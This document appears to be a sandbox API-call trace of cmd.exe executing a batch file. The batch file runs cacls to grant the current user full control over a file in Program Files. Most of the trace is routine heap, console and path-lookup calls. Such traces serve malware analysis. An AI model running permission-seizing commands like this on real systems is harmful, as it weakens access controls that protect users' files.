[0068.200] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0068.200] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0068.200] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0068.200] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0068.200] GetProcessHeap () returned 0x450000 [0068.200] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x465128 [0068.200] GetProcessHeap () returned 0x450000 [0068.200] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe2) returned 0x465340 [0068.201] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0068.201] GetProcessHeap () returned 0x450000 [0068.201] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x4507f0 [0068.201] SetErrorMode (uMode=0x0) returned 0x0 [0068.201] SetErrorMode (uMode=0x1) returned 0x0 [0068.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x4507f8, lpFilePart=0x18ef28 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18ef28*="Desktop") returned 0x25 [0068.202] SetErrorMode (uMode=0x0) returned 0x1 [0068.202] GetProcessHeap () returned 0x450000 [0068.202] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4507f0, Size=0x6e) returned 0x4507f0 [0068.202] GetProcessHeap () returned 0x450000 [0068.202] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4507f0) returned 0x6e [0068.202] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0068.202] GetProcessHeap () returned 0x450000 [0068.202] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5a) returned 0x465430 [0068.202] GetProcessHeap () returned 0x450000 [0068.202] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa8) returned 0x465498 [0068.202] GetProcessHeap () returned 0x450000 [0068.202] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x465498, Size=0x5a) returned 0x465498 [0068.202] GetProcessHeap () returned 0x450000 [0068.202] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x465498) returned 0x5a [0068.202] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.202] GetProcessHeap () returned 0x450000 [0068.202] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe0) returned 0x465500 [0068.205] GetProcessHeap () returned 0x450000 [0068.205] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x465500, Size=0x76) returned 0x465500 [0068.206] GetProcessHeap () returned 0x450000 [0068.206] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x465500) returned 0x76 [0068.206] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.206] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x18ecc4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ecc4) returned 0x465580 [0068.206] GetProcessHeap () returned 0x450000 [0068.206] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4655c0 [0068.206] FindClose (in: hFindFile=0x465580 | out: hFindFile=0x465580) returned 1 [0068.206] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0068.206] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0068.206] GetConsoleTitleW (in: lpConsoleTitle=0x18f19c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0068.206] GetProcessHeap () returned 0x450000 [0068.206] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x11c) returned 0x450868 [0068.206] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0068.207] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0068.207] IdentifyCodeAuthzLevelW () returned 0x1 [0068.213] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0068.213] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0068.213] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0068.213] CloseCodeAuthzLevel () returned 0x1 [0068.213] SetErrorMode (uMode=0x0) returned 0x0 [0068.213] SetErrorMode (uMode=0x1) returned 0x0 [0068.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x465130, lpFilePart=0x18f088 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x18f088*="Bt3xnwko.bat") returned 0x32 [0068.213] SetErrorMode (uMode=0x0) returned 0x1 [0068.214] GetProcessHeap () returned 0x450000 [0068.214] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x72) returned 0x460fe0 [0068.214] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"", _Control=" \x09") returned 0x1 [0068.214] GetProcessHeap () returned 0x450000 [0068.214] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x76) returned 0x461060 [0068.214] GetProcessHeap () returned 0x450000 [0068.214] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe4) returned 0x4510c0 [0068.214] GetProcessHeap () returned 0x450000 [0068.214] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4510c0, Size=0x78) returned 0x4510c0 [0068.214] GetProcessHeap () returned 0x450000 [0068.214] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4510c0) returned 0x78 [0068.214] CmdBatNotification () returned 0x465192 [0068.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f0cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0068.214] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0068.214] _get_osfhandle (_FileHandle=3) returned 0x78 [0068.214] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.215] _get_osfhandle (_FileHandle=3) returned 0x78 [0068.215] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.215] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x18f0b0*=0xe2, lpOverlapped=0x0) returned 1 [0068.215] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0068.215] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0068.216] _get_osfhandle (_FileHandle=3) returned 0x78 [0068.216] GetFileType (hFile=0x78) returned 0x1 [0068.216] _get_osfhandle (_FileHandle=3) returned 0x78 [0068.216] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0068.216] GetProcessHeap () returned 0x450000 [0068.216] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x468a70 [0068.216] GetProcessHeap () returned 0x450000 [0068.216] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x474aa8 [0068.216] GetProcessHeap () returned 0x450000 [0068.216] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1a) returned 0x4677c0 [0068.216] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0068.216] GetProcessHeap () returned 0x450000 [0068.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4677c0 | out: hHeap=0x450000) returned 1 [0068.217] GetProcessHeap () returned 0x450000 [0068.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0068.217] GetProcessHeap () returned 0x450000 [0068.217] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a70 | out: hHeap=0x450000) returned 1 [0068.217] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0068.217] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0068.217] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0068.217] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0068.217] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0068.217] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0068.217] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0068.217] GetProcessHeap () returned 0x450000 [0068.217] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x451140 [0068.217] GetProcessHeap () returned 0x450000 [0068.217] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x4511a0 [0068.219] GetProcessHeap () returned 0x450000 [0068.219] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb8) returned 0x4511c0 [0068.396] _tell (_FileHandle=3) returned 32 [0068.396] _close (_FileHandle=3) returned 0 [0068.396] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18ee84 | out: _Buffer="\r\n") returned 2 [0068.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.397] GetFileType (hFile=0x7) returned 0x2 [0068.397] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0068.397] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee44 | out: lpMode=0x18ee44) returned 1 [0068.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.397] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18ee70, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18ee70*=0x2) returned 1 [0068.398] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.398] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.398] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18ee80 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.398] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18ee80 | out: _Buffer=">") returned 1 [0068.398] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.398] GetFileType (hFile=0x7) returned 0x2 [0068.398] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0068.398] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee48 | out: lpMode=0x18ee48) returned 1 [0068.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.399] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x18ee74, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x18ee74*=0x26) returned 1 [0068.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.399] GetFileType (hFile=0x7) returned 0x2 [0068.400] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0068.400] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0cc | out: lpMode=0x18f0cc) returned 1 [0068.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.400] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4511a8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x18f0f8, lpReserved=0x0 | out: lpBuffer=0x4511a8*, lpNumberOfCharsWritten=0x18f0f8*=0x5) returned 1 [0068.400] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f104 | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 88 [0068.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.400] GetFileType (hFile=0x7) returned 0x2 [0068.401] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0068.401] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0068.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.401] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x58) returned 1 [0068.401] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f124 | out: _Buffer="\r\n") returned 2 [0068.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.401] GetFileType (hFile=0x7) returned 0x2 [0068.402] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0068.402] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0e4 | out: lpMode=0x18f0e4) returned 1 [0068.402] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.402] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f110, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f110*=0x2) returned 1 [0068.402] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0068.402] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0068.402] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0068.402] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0068.402] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0068.402] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0068.402] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0068.402] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0068.402] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0068.402] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0068.402] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0068.402] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0068.403] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0068.403] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0068.403] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0068.403] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0068.403] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0068.403] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0068.403] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0068.403] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0068.403] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0068.403] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0068.403] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0068.403] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0068.403] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0068.403] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0068.403] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0068.403] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0068.403] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0068.403] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0068.403] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0068.403] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0068.403] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0068.403] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0068.403] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0068.403] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0068.403] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0068.403] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0068.403] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0068.403] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0068.403] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0068.403] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0068.403] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0068.404] GetProcessHeap () returned 0x450000 [0068.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x4660f0 [0068.404] SetErrorMode (uMode=0x0) returned 0x0 [0068.404] SetErrorMode (uMode=0x1) returned 0x0 [0068.404] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4660f8, lpFilePart=0x18eec8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18eec8*="Desktop") returned 0x25 [0068.404] SetErrorMode (uMode=0x0) returned 0x1 [0068.404] GetProcessHeap () returned 0x450000 [0068.404] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4660f0, Size=0x60) returned 0x4660f0 [0068.404] GetProcessHeap () returned 0x450000 [0068.404] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4660f0) returned 0x60 [0068.404] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.404] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.404] GetProcessHeap () returned 0x450000 [0068.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x466158 [0068.404] GetProcessHeap () returned 0x450000 [0068.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x466280 [0068.406] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0xffffffff [0068.410] GetLastError () returned 0x2 [0068.410] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0xffffffff [0068.410] GetLastError () returned 0x2 [0068.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0x451280 [0068.410] GetProcessHeap () returned 0x450000 [0068.410] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4655c0, Size=0x4) returned 0x4655c0 [0068.410] FindClose (in: hFindFile=0x451280 | out: hFindFile=0x451280) returned 1 [0068.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0xffffffff [0068.411] GetLastError () returned 0x2 [0068.411] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0x451280 [0068.411] FindClose (in: hFindFile=0x451280 | out: hFindFile=0x451280) returned 1 [0068.411] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.411] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.411] GetConsoleTitleW (in: lpConsoleTitle=0x18ec94, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0068.411] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.411] GetProcessHeap () returned 0x450000 [0068.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x466780 [0068.411] GetProcessHeap () returned 0x450000 [0068.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x4668a8 [0068.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0xffffffff [0068.411] GetLastError () returned 0x2 [0068.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0xffffffff [0068.412] GetLastError () returned 0x2 [0068.412] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0x451280 [0068.412] FindClose (in: hFindFile=0x451280 | out: hFindFile=0x451280) returned 1 [0068.412] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0xffffffff [0068.412] GetLastError () returned 0x2 [0068.412] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0x451280 [0068.412] FindClose (in: hFindFile=0x451280 | out: hFindFile=0x451280) returned 1 [0068.412] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.412] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.412] GetConsoleTitleW (in: lpConsoleTitle=0x18ea28, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0068.412] InitializeProcThreadAttributeList (in: lpAttributeList=0x18e8b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18e978 | out: lpAttributeList=0x18e8b0, lpSize=0x18e978) returned 1 [0068.412] UpdateProcThreadAttribute (in: lpAttributeList=0x18e8b0, dwFlags=0x0, Attribute=0x60001, lpValue=0x18e970, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18e8b0, lpPreviousValue=0x0) returned 1 [0068.412] GetStartupInfoW (in: lpStartupInfo=0x18e86c | out: lpStartupInfo=0x18e86c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0068.413] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0068.415] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18e90c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e958 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x18e958*(hProcess=0x74, hThread=0x78, dwProcessId=0x6f8, dwThreadId=0xc04)) returned 1 [0068.426] CloseHandle (hObject=0x78) returned 1 [0068.426] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.426] GetProcessHeap () returned 0x450000 [0068.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x467f30 | out: hHeap=0x450000) returned 1 [0068.426] GetEnvironmentStringsW () returned 0x466b80* [0068.426] GetProcessHeap () returned 0x450000 [0068.426] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x467f30 [0068.426] FreeEnvironmentStringsW (penv=0x466b80) returned 1 [0068.426] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0072.779] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x18e84c | out: lpExitCode=0x18e84c*=0x1f57) returned 1 [0072.779] CloseHandle (hObject=0x74) returned 1 [0072.779] _vsnwprintf (in: _Buffer=0x18e994, _BufferCount=0x13, _Format="%08X", _ArgList=0x18e858 | out: _Buffer="00001F57") returned 8 [0072.779] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0072.779] GetProcessHeap () returned 0x450000 [0072.780] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x467f30 | out: hHeap=0x450000) returned 1 [0072.780] GetEnvironmentStringsW () returned 0x467f30* [0072.780] GetProcessHeap () returned 0x450000 [0072.780] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x468a98 [0072.780] FreeEnvironmentStringsW (penv=0x467f30) returned 1 [0072.780] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.780] GetProcessHeap () returned 0x450000 [0072.780] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a98 | out: hHeap=0x450000) returned 1 [0072.780] GetEnvironmentStringsW () returned 0x467f30* [0072.780] GetProcessHeap () returned 0x450000 [0072.780] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x468a98 [0072.780] FreeEnvironmentStringsW (penv=0x467f30) returned 1 [0072.780] GetProcessHeap () returned 0x450000 [0072.780] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d38 | out: hHeap=0x450000) returned 1 [0072.780] DeleteProcThreadAttributeList (in: lpAttributeList=0x18e8b0 | out: lpAttributeList=0x18e8b0) [0072.780] _get_osfhandle (_FileHandle=1) returned 0x7 [0072.780] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0072.780] _get_osfhandle (_FileHandle=1) returned 0x7 [0072.780] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0072.781] 